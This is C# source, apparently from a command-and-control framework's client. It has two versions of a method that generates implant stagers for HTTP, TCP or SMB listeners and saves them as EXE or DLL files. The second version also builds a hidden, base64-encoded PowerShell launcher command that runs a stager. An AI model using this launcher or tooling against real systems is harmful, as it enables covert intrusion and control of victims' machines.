private async void OnGeneratePayload(object obj)
        {
            var payloadReq = new PayloadRequest
            {
                ListenerId      = SelectedListener.Split(":")[0].TrimEnd(),
                OutputType      = OutputType.Dll,
                SleepInterval   = SleepInterval,
                SleepJitter     = SleepJitter,
                KillDate        = KillDate,
                TargetFramework = TargetFramework.Net40
            };

            if (SelectedFormat == Formats[0])
            {
                payloadReq.OutputType = OutputType.Exe;
            }

            var window = new Window
            {
                Height = 100,
                Width  = 360,
                WindowStartupLocation = WindowStartupLocation.CenterOwner,
                Content = new ProgressBarView {
                    DataContext = new ProgressBarViewModel {
                        Label = "Building..."
                    }
                }
            };

            window.Show();

            var payload = await PayloadAPI.GenerateAgentPayload(payloadReq);

            window.Close();

            if (payload.Length > 0)
            {
                var save = new SaveFileDialog();

                if (SelectedFormat == Formats[0])
                {
                    save.Filter = "EXE (*.exe)|*.exe";
                }
                else if (SelectedFormat == Formats[1])
                {
                    save.Filter = "DLL (*.dll)|*.dll";
                }

                if ((bool)save.ShowDialog())
                {
                    File.WriteAllBytes(save.FileName, payload);
                }
            }

            View.Close();
        }
        private async void OnGeneratePayload(object obj)
        {
            var listener = Listeners.FirstOrDefault(l => l.ListenerName.Equals(SelectedListener.Split(":")[0].TrimEnd(), StringComparison.OrdinalIgnoreCase));

            var req = new PayloadRequest();

            switch (listener.ListenerType)
            {
            case ListenerType.HTTP:
                req = new HttpPayloadRequest {
                    ListenerGuid = listener.ListenerGuid, SleepInterval = SleepInterval, SleepJitter = SleepJitter
                };
                break;

            case ListenerType.TCP:
                req = new TcpPayloadRequest {
                    ListenerGuid = listener.ListenerGuid
                };
                break;

            case ListenerType.SMB:
                req = new SmbPayloadRequest {
                    ListenerGuid = listener.ListenerGuid
                };
                break;
            }

            req.KillDate = KillDate;

            if (SelectedFormat.Equals("PowerShell", StringComparison.OrdinalIgnoreCase) || SelectedFormat.Contains("EXE", StringComparison.OrdinalIgnoreCase))
            {
                req.OutputType = OutputType.Exe;
            }

            var window = new Window
            {
                Height = 100,
                Width  = 360,
                WindowStartupLocation = WindowStartupLocation.CenterOwner,
                Content = new ProgressBarView {
                    DataContext = new ProgressBarViewModel {
                        Label = "Building..."
                    }
                }
            };

            window.Show();

            var payload = new byte[] { };

            switch (listener.ListenerType)
            {
            case ListenerType.HTTP:
                payload = await PayloadAPI.GenerateHttpStager(req as HttpPayloadRequest);

                break;

            case ListenerType.TCP:
                payload = await PayloadAPI.GenerateTcpStager(req as TcpPayloadRequest);

                break;

            case ListenerType.SMB:
                payload = await PayloadAPI.GenerateSmbStager(req as SmbPayloadRequest);

                break;
            }

            window.Close();

            if (payload.Length > 0)
            {
                if (SelectedFormat.Equals("PowerShell", StringComparison.OrdinalIgnoreCase))
                {
                    var launcher    = PowerShellLauncher.GenerateLauncher(payload);
                    var encLauncher = Convert.ToBase64String(Encoding.Unicode.GetBytes(launcher));

                    var powerShellPayloadViewModel = new PowerShellPayloadViewModel
                    {
                        Launcher    = $"powershell.exe -nop -w hidden -c \"{launcher}\"",
                        EncLauncher = $@"powershell.exe -nop -w hidden -enc {encLauncher}",
                    };

                    var powerShellPayloadView = new PowerShellPayloadView
                    {
                        DataContext = powerShellPayloadViewModel
                    };

                    powerShellPayloadView.Show();
                }
                else
                {
                    var save = new SaveFileDialog();

                    if (SelectedFormat.Contains("EXE", StringComparison.OrdinalIgnoreCase))
                    {
                        save.Filter = "EXE (*.exe)|*.exe";
                    }
                    else if (SelectedFormat.Contains("DLL", StringComparison.OrdinalIgnoreCase))
                    {
                        save.Filter = "DLL (*.dll)|*.dll";
                    }

                    if ((bool)save.ShowDialog())
                    {
                        File.WriteAllBytes(save.FileName, payload);
                    }
                }
            }

            View.Close();
        }